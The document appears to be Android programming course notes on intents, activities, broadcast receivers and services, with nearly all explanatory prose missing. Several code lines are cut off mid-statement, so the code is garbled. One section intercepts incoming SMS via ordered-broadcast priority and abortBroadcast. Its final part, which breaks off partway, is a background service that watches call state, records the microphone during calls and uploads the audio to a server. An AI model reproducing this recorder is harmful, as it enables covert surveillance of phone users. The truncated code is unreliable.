				intent.setAction("cn.zengfansheng.userdefineimpliciteintent.Second");	//	intent-filteraction
				//	1 mimetype	text/plain
				//intent.setType("image/jpeg");//	<data	android:mimeType="image/ jpeg"/>

				//	2	 hacket//
				//	intent.setData(Uri.parse("hacket//:schema"));//android:scheme="hacket//"

				//	3host	//www.baidu.com
				//	intent.setData(Uri.parse("hacket//://www.baidu.com"));//android:scheme="hacket//"	android:host="

				//	4	8080
				//intent.setData(Uri.parse("hacket//://www.baidu.com:8080"));//android:scheme="hacket

				//	5path	/ tieba



				intent.setData(Uri.parse("hacket//://www.baidu.com:8080/tieba"));
				this.startActivity(intent);
}
AndroidManifest.xml
<!--	Activity	-->
								<activity	
											android:name="cn.zengfansheng.userdefineimpliciteintent.SecondActivity"		
												>																																		<!--	Activity		-->
												<intent-filter>
																<action	android:name="cn.zengfansheng.userdefineimpliciteintent.Second"/>
																<category	android:name="android.intent.category.DEFAULT"></category>
															<!--	android:mimeType="image/jpeg"	-->
																<data	
																				android:scheme="hacket//"
																				android:host="www.baidu.com"
																				android:port="8080"
																				android:path="/tieba"
																				/>
												</intent-filter>
												
								</activity>

http://www.baidu.com"


intentintent-	 1
Intent	putExtra(String	name,	Serializable	value)		
Intent	putExtra(String	name,	Parcelable	value)			
//	4Activity,
Intent	intent	=	new	Intent();
intent.setAction("cn.zengfansheng.result.rp");
intent.putExtra("name",	name);
intent.putExtra("total",	total);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplicationContext().startActivity(intent);

2
//	ActivityIntent
Intent	intent	=	this.getIntent();
String	name	=	intent.getStringExtra("name");
int	total	=	intent.getIntExtra("total",	50);		

3startActivity()ActivityContext,
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplicationContext().startActivity(intent);
android.util.AndroidRuntimeException:	Calling	startActivity()	from	outside	of	an	Activity		context	requires	the	FLAG_ACTIVITY_NEW_TASK	flag.	Is	this	really	what	you	want?
	
Activity:	
import	android.app.Activity;
import	android.content.Intent;
import	android.os.Bundle;
import	android.view.View;
import	android.view.Window;
import	android.widget.EditText;
import	android.widget.ProgressBar;
import	android.widget.TextView;
public	class	MainActivity	extends	Activity	{
				private	EditText	et_name;
				private	ProgressBar	pb;
				private	TextView	tv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								requestWindowFeature(Window.FEATURE_NO_TITLE);
								setContentView(R.layout.activity_main);
								et_name	=	(EditText)	this.findViewById(R.id.et_name);



								pb	=	(ProgressBar)	this.findViewById(R.id.pb);
								tv	=	(TextView)	this.findViewById(R.id.tv);
				}
				/**
					*	
					*	@param	view
					*/
				public	void	rpcalc(View	view)	{
								
								//	0 tv
								tv.setVisibility(View.VISIBLE);
								pb.setVisibility(View.VISIBLE);
								new	Thread(){
												@Override
												public	void	run()	{
																//	1
																String	name	=	et_name.getText().toString();
																//	2byte inttotal
																byte[]	bytes	=	name.getBytes();
																//	3 pb
																pb.setMax(bytes.length	-	1);//	
																int	total	=	0;//	rp
																for	(int	i	=	0;	i	<	bytes.length;	i++)	{
																				pb.setProgress(i);
																				total	+=	(int)	Math.abs(bytes[i]);//	
																				try	{
																								Thread.sleep(300);//	0.5
																				}	catch	(InterruptedException	e)	{
																								e.printStackTrace();
																				}
																}
																total	=	total	%	100;//	100
																//	4Activity,
																Intent	intent	=	new	Intent();
																intent.setAction("cn.zengfansheng.result.rp");
																intent.putExtra("name",	name);
																intent.putExtra("total",	total);
																intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
																getApplicationContext().startActivity(intent);
												}
								}.start();
				}



}		
Activity
import	android.app.Activity;
import	android.content.Intent;
import	android.graphics.Color;
import	android.os.Bundle;
import	android.widget.TextView;
import	cn.zengfansheng.rpcalc.R;
public	class	ResultActivity	extends	Activity	{
				private	TextView	tv_name;
				private	TextView	tv_total;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								this.setContentView(R.layout.rp_item);
								
								tv_name	=	(TextView)	this.findViewById(R.id.tv_name);
								tv_total	=	(TextView)	this.findViewById(R.id.tv_total);
								//	ActivityIntent
								Intent	intent	=	this.getIntent();
								String	name	=	intent.getStringExtra("name");
								int	total	=	intent.getIntExtra("total",	50);
								tv_name.setText("" 	+	name);
								if	(total	<	50)	{
												tv_total.setTextColor(Color.RED);
												tv_total.setText("" 	+	total	+	"" );
								}	else	{
												tv_total.setTextColor(Color.BLACK);
												tv_total.setText("" 	+	total	+	"" );
								}
				}
}
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Caused	by:	android.util.AndroidRuntimeException:	Calling	startActivity()	from	outside	of	an	Activity	context	requires	the	FLAG_ACTIVITY_NEW_TASK	flag.	Is	this	really
what	you	want?
ContextstartActivityActivityContextstartActivity	ActivitystartActivityContextstartActivitytaskContextstartActivityflag
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);	
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Activity

1Activity
public	class	MainActivity	extends	Activity	{

		@Override	protected	void	onCreate(Bundle	savedInstanceState)	{
		.......
		button.setOnClickListener(new	View.OnClickListener(){//Activity
								public	void	onClick(View	v)	{
												Intent	intent	=	new	Intent(MainActivity.this,	NewActivity.class)
												Bundle	bundle	=	new	Bundle();//
												bundle.putString("name",	"");
												bundle.putInt("age",	4);
												intent.putExtras(bundle);//
												startActivity(intent);
				}});	}
}
ActivityActivity
public	class	NewActivity	extends	Activity	{
					@Override	
					protected	void	onCreate(Bundle	savedInstanceState)	{
													........
													Bundle	bundle	=	this.getIntent().getExtras();
													String	name	=	bundle.getString("name");
													int	age	=	bundle.getInt("age");
										}
}
2Bundle
BundleMapkey -valueMapputXxx ()/getXxx()
:putString()/getString()putInt()/getInt()putXxx()BundlegetXxx ()Bundle
BundleHashMap<String,	Object>putXxx()
public	final	class	Bundle	implements	Parcelable,	Cloneable	{
				......
				Map<String,	Object>	mMap;
				public	Bundle()	{
							mMap	=	new	HashMap<String,	Object>();
								......
				}
				public	void	putString(String	key,	String	value)	{
						mMap.put(key,	value);



				}
				public	String	getString(String	key)	{
							Object	o	=	mMap.get(key);
							return	(String)	o;
							........//null
				}
}
BundlegetXxx()XxxgetXxx ()
3Intent

Intent
Intent	intent	=	new	Intent();
Bundle	bundle	=	new	Bundle();//
bundle.putString("name",	"" );
intent.putExtras(bundle);//key

Intent
Intent	intent	=	new	Intent();
intent.putExtra("name",	"" );

IntentputExtra() 	putExtra(String	name,	String	value)	putExtra(String
name,	long	value)putExtra()IntentBundle Bundle putExtra()Bundle
IntentputExtra(String	name,	String	value)
public	class	Intent	implements	Parcelable	{
private	Bundle	mExtras;
public	Intent	putExtra(String	name,	String	value)	{
								if	(mExtras	==	null)	{
												mExtras	=	new	Bundle();
								}
								mExtras.putString(name,	value);
								return	this;
	}



Activity	

Activity
ActivityActivity	 startActivityForResult(Intent	intent,	int	requestCode)ActivityActivity	Activity	 Activity
onActivityResult(int	requestCode,	int	resultCode,	Intent	data)
public	class	MainActivity	extends	Activity	{
				@Override	
				protected	void	onCreate(Bundle	savedInstanceState)	{
								.......
								Button	button	=(Button)	this.findViewById(R.id.button);
								
								button.setOnClickListener(new	View.OnClickListener(){//Activity
												public	void	onClick(View	v)	{
																//
																startActivityForResult	(new	Intent(MainActivity.this,	NewActivity.class),1);
												}
								});
				}
				
				//startActivityForResult()
				//Activity
				@Override	
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								String	result	=	data.getExtras().getString(“result”));//Activity	
				}
}			
Activity ActivityIntent androidActivity	onActivityResult() Intent onActivityResult()Activity	

Activity
/*startActivityForResult(Intent	intent,	int	requestCode)Activity
ActivityActivitysetResult(int	resultCode,	Intent	data)*/
public	class	NewActivity	extends	Activity	{
				@Override	
				protected	void	onCreate(Bundle	savedInstanceState)	{
								......
								button.setOnClickListener(new	View.OnClickListener(){
								
												public	void	onClick(View	v)	{
																Intent	intent	=	new	Intent();//Intent
																intent.putExtra("result",	"" );//Intent
																NewActivity.this.setResult(RESULT_OK,	intent);//
																NewActivity.this.finish();//Activity
												}
								});
				}
}
//setResult()RESULT_OKActivity-1
public	class	android.app.Activity	extends	......{
				public	static	final	int	RESULT_CANCELED	=	0;
				public	static	final	int	RESULT_OK	=	-1;
				public	static	final	int	RESULT_FIRST_USER	=	1;
}

--
/**
startActivityForResult(Intent	intent,	int	requestCode)ActivitystartActivityForResult()()

ActivityActivityActivityActivity



ActivityonActivityResult(int	requestCode,	int	resultCode,	Intent	data)
onActivityResult()Activity*/
@Override		
public	void	onCreate(Bundle	savedInstanceState)	{
				....
				button1.setOnClickListener(new	View.OnClickListener(){
								public	void	onClick(View	v)	{
											startActivityForResult	(new	Intent(MainActivity.this,	NewActivity.class),	1);
								}}
				);
				button2.setOnClickListener(new	View.OnClickListener(){
								public	void	onClick(View	v)	{
											startActivityForResult	(new	Intent(MainActivity.this,	NewActivity.class),	2);
								}}
				);	
}
@Override	
protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
			switch(requestCode){
							case	1:
											//1
							case	2:
						//2
				}
		}
}

--Activity
/**ActivitystartActivityForResult()Activity
ActivityActivityonActivityResult(int	requestCode,	int	resultCode,	Intent	data)
ActivityonActivityResult()(ResultActivityNewActivityActivity)
*/
public	class	ResultActivity	extends	Activity	{
				.....
				ResultActivity.this.setResult(1,	intent);
				ResultActivity.this.finish();
}
public	class	NewActivity	extends	Activity	{
				......
				NewActivity.this.setResult(2,	intent);
				NewActivity.this.finish();
}
public	class	MainActivity	extends	Activity	{	//	ActivityResultActivityNewActivity
				@Override	
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								switch(resultCode){
												case	1:
															//	ResultActivity
												case	2:
												//	NewActivity
								}
				}
}



ActivityonSaveInstanceState()	onRestoreInstanceState()

Activity	 onSaveInstanceState()		 onRestoreInstanceState()	 onCreate()onPause()
Home Activity onSaveInstanceState()	 Activity

onSaveInstanceState() Activity onSaveInstanceState() onPause()
	 Activity Activity Activity Activity	 onSaveInstanceState()	
onRestoreInstanceState()
public	class	PreferencesActivity	extends	Activity	{
				private	String	name;
				protected	void	onRestoreInstanceState(Bundle	savedInstanceState)	{
name	=	savedInstanceState.getString("name");	//
super.onRestoreInstanceState(savedInstanceState);
				}
				protected	void	onSaveInstanceState(Bundle	outState)	{
outState.putString("name",	"liming");//
super.onSaveInstanceState(outState);
				}
}



Activity	20131017	10:44:14

Activity
Activity
1 Activity
2Activity ActivityActivityActivity
3Activity Activity

Activity
Activity
void		onCreate(Bundle	savedInstanceState)Activity
void		onDestroy()Activity
void		onStart():	Activity
void		onStop()Activity
void		onRestart()on|Stop()home
void		onResume()Activity
void		onPause()Activity

Activity			onCreate()->onDestroy()
onCreate()onDestroy()ActivityonCreate()“”onDestroy()
ActivityonCreate()	onDestroy()

Activity			onStart()->onStop()
onStart()onStop()ActivityActivity
onStart()BroadcastReceiverUIonStop()onStart()		onStop()		

Activity				onResume()->onPause()
onResume()onPause()ActivityActivity
ActivityonPause()	ActivityIntentonResume()	PPT	



<activity
				android:name="cn.zengfansheng.activityLifeCycle.SecondActivity"	
				android:theme="@android:style/Theme.Translucent"
				></activity>



Activity
	 oncreate	-	onstart	-	onresume	-	onpause	-	onstop	-	ondestroy

activity
onstart	-	onresume	-	onpause	-	onstop	-	onstart	-	onresume

onresume	-		onpause



Activity		 20131017	11:09:10

Activity	
1
				a)	Activity
				b)	

2onStop()onStart()

1——	
public	class	MainActivity	extends	Activity	{
				private	EditText	et_number;
				private	EditText	et_content;
				private	SharedPreferences	pdf;

				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);

								pdf	=	this.getSharedPreferences("smsinfo",	MODE_PRIVATE);

								et_number	=	(EditText)	this.findViewById(R.id.et_number);
								et_content	=	(EditText)	this.findViewById(R.id.et_content);

								//	
								String	number	=	pdf.getString("number",	"");
								String	content	=	pdf.getString("content",	"");
								et_number.setText(number);
								et_content.setText(content);
				}
				/**
					*	ActivitySharedPreferences
					*/
				@Override
				protected	void	onDestroy()	{
								super.onDestroy();
								String	number	=	et_number.getText().toString();
								String	content	=	et_content.getText().toString();
								
								Editor	edit	=	pdf.edit();



								edit.putString("number",	number);
								edit.putString("content",	content);
								edit.commit();
				}
				/**
					*	
					*	
					*	@param	view
					*/
				public	void	sendSms(View	view)	{
								String	number	=	et_number.getText().toString();
								String	content	=	et_content.getText().toString();
								if	(TextUtils.isEmpty(number)	||	TextUtils.isEmpty(content))	{
												Toast.makeText(this,	"" ,	0).show();
												return;
								}
								SmsManager	smsManager	=	SmsManager.getDefault();
								ArrayList<String>	divideMessage	=	smsManager.divideMessage(content);
								for	(String	message	:	divideMessage)	{
												smsManager.sendTextMessage(number,	null,	message,	null,	null);
								}
								Toast.makeText(this,	"" ,	0).show();
				}
}		
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public	class	MainActivity	extends	Activity	{
				private	SharedPreferences	pdf;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								pdf	=	this.getSharedPreferences("videoinfo",	MODE_PRIVATE);
				}
				
				/**
					*	
					*/
				@Override
				protected	void	onStart()	{
								super.onStart();
								int	progress	=	pdf.getInt("videoProgress",	0);
								if	(progress	>	0)	{
												Toast.makeText(this,	"" 	+	progress	+	"" ,	0).show();
								}
				}
				/**
					*	
					*/
				@Override
				protected	void	onStop()	{
								super.onStop();
								int	position	=	1000;
								Toast.makeText(this,	"," 	+	position,	0).show();
								Editor	edit	=	pdf.edit();
								edit.putInt("videoProgress",	position);//	
								edit.commit();
				}
}		



	



Activity	

14.0Activity
				android:configChanges="orientation|keyboardHidden|screenSize"
	
24.0 Activity
				android:configChanges="orientation|keyboardHidden"
	
3	,	
				android:screenOrientation="landscape"
					android:screenOrientation="portrait"
						.

“”“”	ActivityActivityActivity Activity
<activity	android:name=".MainActivity"
android:configChanges="keyboardHidden|orientation">
android:configChanges“”“” ActivityonConfigurationChanged()
(android:configChanges)

Activity Activity
Activity Activity Activity Activity

android:configChanges="orientation"

1AndroidManifest.xml	
a)	android:screenOrientation="landscape"			



	
b)	android:screenOrientation="portrait"	
c)	android:screenOrientation="sensor"	

d)	android:configChanges="orientation|keyboardHidden|screenSize"			

Android2.3 android:configChanges="orientation|keyboardHidden
Android4.0 android:configChanges="orientation|keyboardHidden|screenSize"		

<activity
				android:configChanges="orientation|keyboardHidden|screenSize"
				android:name="cn.zengfansheng.activityLifeCycle.MainActivity"
				android:label="@string/app_name"	>
				<intent-filter>
								<action	android:name="android.intent.action.MAIN"	/>
								<category	android:name="android.intent.category.LAUNCHER"	/>
				</intent-filter>
</activity>



1	
activity	task	stack
activity	stack
back	stack		

last	in	,	first	out	

2	

a)	Standard:

b)	SingleTopactivity activityactivityonNewIntent()

Singletop:

CSingleTaskactivity activityactivity,onNewIntent()

			SingleTask

D)SingleInstancetaskActivityonNewIntent

onNewIntent()



SingleInstance

A ctivity		Tasksingleinstance Activity			Task,singleInstance
activity Activity		taskactivity java

			





	

	



	



Activity-
ActivityActivity
1

a)	Activity.startActivityForResult(Intent	intent,	int	requestCode)			activityactivity(
finish)
//Launch	an	activity	for	which	you	would	like	a	result	when	it	finished.

b)	ListViewitem
setOnItemClickListener(OnItemClickListener	listener)	

c)	Activity.setResult(int	resultCode,	Intent	data)		resultacticitycaller
	//Call	this	to	set	the	result	that	your	activity	will	return	to	its	caller.
//data:	The	data	to	propagate	back	to	the	originating	activity.

	d)	Activity.finish()				activitycloseactivitycallercalleronActivityResult()												
			

//Call	this	when	your	activity	is	done	and	should	be	closed.	The	ActivityResult	is
propagated	back	to	whoever	launched	you	via	onActivityResult().

e)	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	
//activityactivity
//1
//2:
//3intent

	
d)	requestCode:
				/**
					*	TODO	Activity1
					*/
				public	void	selectContact(View	view)	{
								Intent	intent	=	new	Intent(this,	ContactsActivity.class);
								this.startActivityForResult(intent,	1);//	2
				}
				/**
					*	TODO	Activity2
					*/
				public	void	selectContact2(View	view)	{
								Intent	intent	=	new	Intent(this,	ContactsActivity.class);
								this.startActivityForResult(intent,	2);//	2
				}



e)	resultCode
12

setResult(1,	data)
setResult(2,	data)

1
/**
					*	TODO	Activity1
					*/
				public	void	selectContact(View	view)	{
								Intent	intent	=	new	Intent(this,	ContactsActivity.class);
								this.startActivityForResult(intent,	1);//	2
				}
				/**
					*	TODO	Activity2
					*/
				public	void	selectContact2(View	view)	{
								Intent	intent	=	new	Intent(this,	ContactsActivity.class);
								this.startActivityForResult(intent,	2);//	2
				}

listviewitem
activity setResult(0,	data);
finish()	

//	TODO	 listviewitem
								lV.setOnItemClickListener(new	OnItemClickListener()	{
												/*
													*	parent	The	AdapterView	where	the	click	happened	view	ListView
													*	view	ListView
													*	position		
													*/
												@Override
												public	void	onItemClick(AdapterView<?>	parent,	View	view,
																				int	position,	long	id)	{
																ContactInfo	contactInfo	=	allContacts.get(position);
																String	phone	=	contactInfo.getPhone();
																Intent	data	=	new	Intent();
																data.putExtra("phone",	phone);
																//	TODO	activityactivity
																setResult(0,	data);//	resultCode,activity
																//	TODO	finish()	activityActivityResultlauncheractivity
																ContactsActivity.this.finish();
												}
								});



onActivityResult(int	requestCode,	int	resultCode,	Intent	data)
//	TODO	activityactivity
				@Override
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								super.onActivityResult(requestCode,	resultCode,	data);
								String	phone	=	data.getStringExtra("phone");
								if	(phone	!=	null)	{
												if	(requestCode	==	1)	{
																et_number.setText(phone);
												}	else	if	(requestCode	==	2)	{
																et_number2.setText(phone);
												}
								}
				}
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cursor
cursor
10-17	18:21:05.654:	E/ContentResolver(8165):	Cursor	leak	detected,	query	params:
uri=content://com.android.contacts/data,	projection=null,	selection=raw_contact_id=?,
selectionArgs=[Ljava.lang.String;@4293acc8,	sortOrder=null



	—— BroadcastReceiver

BroadcastReceiverIntentIntentContext .sendBroadcast()
Context.sendOrderedBroadcast()
IntentIntentJMSTopic

BroadcastReceiveronReceive ()
public	class	IncomingSMSReceiver	extends	BroadcastReceiver	{
				@Override	
				public	void	onReceive(Context	context,	Intent	intent)	{
				}
}
Intent

				IntentFilter	filter	=	new	IntentFilter("android.provider.Telephony.SMS_RECEIVED");
				IncomingSMSReceiver	receiver	=	new	IncomingSMSReceiver();
				registerReceiver(receiver,	filter);
AndroidManifest.xml <application>:
				<receiver	android:name=".IncomingSMSReceiver">
								<intent-filter>
													<action	android:name="android.provider.Telephony.SMS_RECEIVED"/>
								</intent-filter>
				</receiver>

“ Normal	broadcasts”“ Ordered	broadcasts”

1 Intent

2 AB,BC, ABC	intent-filterandroid:priority ,:-10001000IntentFilter
setPriority()	Intent Intent A B,BAA
Context.sendBroadcast()
			
Context.sendOrderedBroadcast()
			 (BroadcastReceiver.abortBroadcast()) setResultExtras(Bundle)

Bundle	bundle	=	getResultExtras(true))

AndroidBroadcastReceiveronReceive ()		onReceive ()	BroadcastReceiver	onReceive ()	10Android
BroadcastReceiverANRApplication	No	Response IntentServiceService
BroadcastReceiverBroadcastReceiverBroadcastReceiver
public	class	IncomingSMSReceiver	extends	BroadcastReceiver	{
				@Override	
				public	void	onReceive(Context	context,	Intent	intent)	{



												//Intent
												Intent	service	=	new	Intent(context,	XxxService.class);
												context.startService(service);
				}
}

IntentAndroidIntentIntent
Intent	AndroidManifest.xml <application>Intent:
<receiver	android:name=".IncomingSMSReceiver">
				<intent-filter>
									<action	android:name="android.intent.action.BATTERY_CHANGED"/>
				</intent-filter>
</receiver>
	IntentAndroidManifest.xml <application>Intent:
<receiver	android:name=".IncomingSMSReceiver">
				<intent-filter>
									<action	android:name="android.intent.action.BOOT_COMPLETED"/>
				</intent-filter>
</receiver>

<uses-permission	android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>



-IP

——
android
1.	.
2.	
3.	
4.	sd.
5.	.
6.	.

1BroadCastReceiver
import	android.content.BroadcastReceiver;
import	android.content.Context;
import	android.content.Intent;
import	android.content.SharedPreferences;
/**
	*	
	*
	*/
public	class	OutCallReceiver	extends	BroadcastReceiver	{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								
								System.out.println("	," );
								
								String	number	=	getResultData();//
								SharedPreferences	sp	=	context.getSharedPreferences("config",	Context.MODE_PRIVATE
								String	ipnumber	=	sp.getString("ipnumber",	"");
								setResultData(ipnumber+number);
				}
}
2AndroidManifest.xml
<receiver	android:name="com.itheima.ipdail.OutCallReceiver"	>
				<intent-filter>
									<action	android:name="android.intent.action.NEW_OUTGOING_CALL"></action>
				</intent-filter>
</receiver>

MainActivity.java



import	android.app.Activity;
import	android.content.SharedPreferences;
import	android.content.SharedPreferences.Editor;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.EditText;
public	class	MainActivity	extends	Activity	{
				private	EditText	et_number;
				private	SharedPreferences	sp;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								et_number	=	(EditText)	findViewById(R.id.et_number);
								sp	=	getSharedPreferences("config",	MODE_PRIVATE);
								et_number.setText(sp.getString("ipnumber",	""));
				}
				
				public	void	click(View	view){
								String	ipnumber	=	et_number.getText().toString().trim();
								Editor	editor	=	sp.edit();
								editor.putString("ipnumber",	ipnumber);
								editor.commit();
				}
}
OutCallReceiver.java	
import	android.content.BroadcastReceiver;
import	android.content.Context;
import	android.content.Intent;
import	android.content.SharedPreferences;
/**
	*	
	*
	*/
public	class	OutCallReceiver	extends	BroadcastReceiver	{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								
								System.out.println("	," );
								
								String	number	=	getResultData();//
								SharedPreferences	sp	=	context.getSharedPreferences("config",	Context.MODE_PRIVATE
								String	ipnumber	=	sp.getString("ipnumber",	"");



								setResultData(ipnumber+number);
				}
}
AndroidManifest.xml	
<?xml	version="1.0"	encoding="utf-8"?>
<manifest	xmlns:android="http://schemas.android.com/apk/res/android"
				package="com.itheima.ipdail"
				android:versionCode="1"
				android:versionName="1.0"	>
				<uses-sdk
								android:minSdkVersion="8"
								android:targetSdkVersion="17"	/>
				<uses-permission	android:name="android.permission.PROCESS_OUTGOING_CALLS"
				<application
								android:allowBackup="true"
								android:icon="@drawable/ic_launcher"
								android:label="@string/app_name"
								android:theme="@style/AppTheme"	>
								<activity
												android:name="com.itheima.ipdail.MainActivity"
												android:label="@string/app_name"	>
												<intent-filter>
																<action	android:name="android.intent.action.MAIN"	/>
																<category	android:name="android.intent.category.LAUNCHER"	/>
												</intent-filter>
								</activity>
								<receiver	android:name="com.itheima.ipdail.OutCallReceiver"	>
												<intent-filter>
																<action	android:name="android.intent.action.NEW_OUTGOING_CALL"></action
												</intent-filter>
								</receiver>
				</application>
</manifest>
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/**

IntentIntentactionandroid.provider.Telephony.SMS_RECEIVED
Intent“pdus”Intent*/
public	class	IncomingSMSReceiver	extends	BroadcastReceiver	{
				private	static	final	String	SMS_RECEIVED	=	"android.provider.Telephony.SMS_RECEIVED"
				@Override	
				public	void	onReceive(Context	context,	Intent	intent)	{
				
								if	(intent.getAction().equals(SMS_RECEIVED))	{
								
												SmsManager	sms	=	SmsManager.getDefault();
												Bundle	bundle	=	intent.getExtras();
												if	(bundle	!=	null)	{
																Object[]	pdus	=	(Object[])	bundle.get("pdus");
																SmsMessage[]	messages	=	new	SmsMessage[pdus.length];
																for	(int	i	=	0;	i	<	pdus.length;	i++)	messages[i]	=	SmsMessage.createFromPdu((
																				for	(SmsMessage	message	:	messages){
																								String	msg	=	message.getMessageBody();
																								String	to	=	message.getOriginatingAddress();
																								sms.sendTextMessage(to,	null,	msg,	null,	null);
																}
												}
								}
				}
}

SmsReceiver.java
public	class	SmsReceiver	extends	BroadcastReceiver	{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								System.out.println("...." );
								//	
								Object[]	pdus	=	(Object[])	intent.getExtras().get("pdus");
								for	(Object	pdu	:	pdus)	{
												SmsMessage	smsMessage	=	SmsMessage.createFromPdu((byte[])	pdu);
												String	address	=	smsMessage.getOriginatingAddress();



												String	body	=	smsMessage.getMessageBody();
												long	msgTime	=	smsMessage.getTimestampMillis();
												System.out.println("address:"	+	address);
												System.out.println("body:"	+	body);
												System.out.println("msgTime:"	+	msgTime);
								}
				}
}
AndroidManifest.xml
<receiver	android:name="cn.zengfansheng.smdreceiver.SmsReceiver"	>
												<intent-filter>
																<action	android:name="android.provider.Telephony.SMS_RECEIVED"	/>
												</intent-filter>
</receiver>

	
android4.0
android4.0

wiz:open_attachment?guid=03ad97b2-bea9-4d0d-a1a1-cd3f85e89ad9
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1
2
1
/**
	*	
	*	@param	view
	*/
public	void	click(View	view)	{
				Intent	intent	=	new	Intent();
				//+
				intent.setAction("cn.zengfansheng.myevent");
				this.sendBroadcast(intent);
}
2
<receiver
				android:name="cn.zengfansheng.userdefinebroadcastreceiver.UserDefineBroadCast"
				android:enabled="true">
				<intent-filter>
								<action	android:name="cn.zengfansheng.myevent"	/>
				</intent-filter>
</receiver>

wiz:open_attachment?guid=1150d72c-32e4-43c0-9d82-f585bd2abe61


	

	
public	void	click(View	view)	{
								Intent	intent	=	new	Intent();
								//	+
								intent.setAction("cn.zengfansheng.myevent");
								this.sendBroadcast(intent);	//	
								//	this.sendOrderedBroadcast(intent,	null);//	
}		
	
1
setResultData("" );	
2
receiver	android:name="cn.zengfansheng.userdefinebroadcastreceiver.MyReceiver1">
				<intent-filter	android:priority="1000">1000
								<action	android:name="cn.zengfansheng.myevent"	/>
				</intent-filter>
</receiver>
a)	android:priority1000
setResultData("" );	

b)	abortBroadcast();		

c setResultData("" );
10-17	22:33:00.594:	E/BroadcastReceiver(11938):	BroadcastReceiver	trying	to
return	result	during	a	non-ordered	broadcast



Service	

Service——	
1.		,	.
2Activityactivityservice
3

ServiceService 		

				public	class	PhoneService	extends	Service{}	
manifest.xml 		

				<service	android:name="cn.zengfansheng.interceptcall.PhoneService"	></service>

				startService(intent);
				stopService(intent);
Service
				onCreate()	
				onDestroy()		
	

1
private	TelephonyManager	tm;
private	MyPhoneListener	listener;		
tm	=	(TelephonyManager)	this.getSystemService(Context.TELEPHONY_SERVICE);
listener	=	new	MyPhoneListener();
//	,	.
tm.listen(listener,	PhoneStateListener.LISTEN_CALL_STATE);//	PhoneStateListener		
2	
//	1.mediaRecoder.
mediaRecorder	=	new	MediaRecorder();
//	2.		 mic
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//	3.
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
//	4.
mediaRecorder.setOutputFile(Environment.getExternalStorageDirectory()+"/info.3gp");
//	5..
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
//	6.
mediaRecorder.prepare();



//	7 		
mediaRecorder.start();
//	8
	mediaRecorder.stop();
//	9
mediaRecorder.release();
mediaRecorder	=	null;
3AsyncHttp	
AsyncHttpClient	asyncHttpClient	=	new	AsyncHttpClient();
String	url	=	"http://192.168.221.221:8080/FileUpload/FileUploadServlet";
RequestParams	params	=	new	RequestParams();
File	myfile	=	new	File(file);
params.put("file",	myfile);
asyncHttpClient.post(url,	params,	new	AsyncHttpResponseHandler()	{
				@Override
				public	void	onSuccess(String	content)	{
								System.out.println("" );
				}
				@Override
				public	void	onFailure(Throwable	error,	String	content)	{
								System.out.println("" );
				}
});
	
<uses-permission	android:name="android.permission.READ_PHONE_STATE"/>
<uses-
permission	android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission	android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission	android:name="android.permission.RECORD_AUDIO"/>
<uses-permission	android:name="android.permission.INTERNET"/>

MainActivity.java
package	cn.zengfansheng.interceptcall;
	
import	android.app.Activity;
import	android.content.Intent;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.Toast;
	



public	class	MainActivity	extends	Activity	{
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
	
				/**
					*	
					*
					*	@param	view
					*/
				public	void	registerService(View	view)	{
	
								//	TODO	
								Intent	intent	=	new	Intent(this,	PhoneService.class);
								startService(intent);//	
								Toast.makeText(this,	"" ,	0).show();
								//	stopService(intent);//
				}
}

PhoneService.java
package	cn.zengfansheng.interceptcall;
	
import	java.io.File;
import	java.io.FileNotFoundException;
import	java.io.IOException;
	
import	android.app.Service;
import	android.content.Context;
import	android.content.Intent;
import	android.media.MediaRecorder;
import	android.os.Environment;
import	android.os.IBinder;
import	android.telephony.PhoneStateListener;
import	android.telephony.TelephonyManager;
	
import	com.loopj.android.http.AsyncHttpClient;
import	com.loopj.android.http.AsyncHttpResponseHandler;
import	com.loopj.android.http.RequestParams;
	
/**
*	TODO	ServiceService
*	@author	hacket
*/
//	:	service	activity.
public	class	PhoneService	extends	Service	{



	
				private	TelephonyManager	tm;
				private	MyPhoneListener	listener;
	
				//	TODO	
				@Override
				public	void	onCreate()	{
								System.out.println("Service	is	onCreate()...");
								super.onCreate();
								//	manager.getLine1Number();	null
								//	1.
								tm	=	(TelephonyManager)	this.getSystemService(Context.TELEPHONY_SERVICE);
								listener	=	new	MyPhoneListener();
								//	2	,	.
								tm.listen(listener,	PhoneStateListener.LISTEN_CALL_STATE);//	PhoneStateListener
				}
	
				//	TODO	//
				@Override
				public	void	onDestroy()	{
								super.onDestroy();
								//	
								//	3
								tm.listen(listener,	PhoneStateListener.LISTEN_NONE);//To	unregister	a	listener,	pass	the	listener	object	and	set	the
events	argument	to	LISTEN_NONE	(0).
								listener	=	null;
				}
	
				@Override
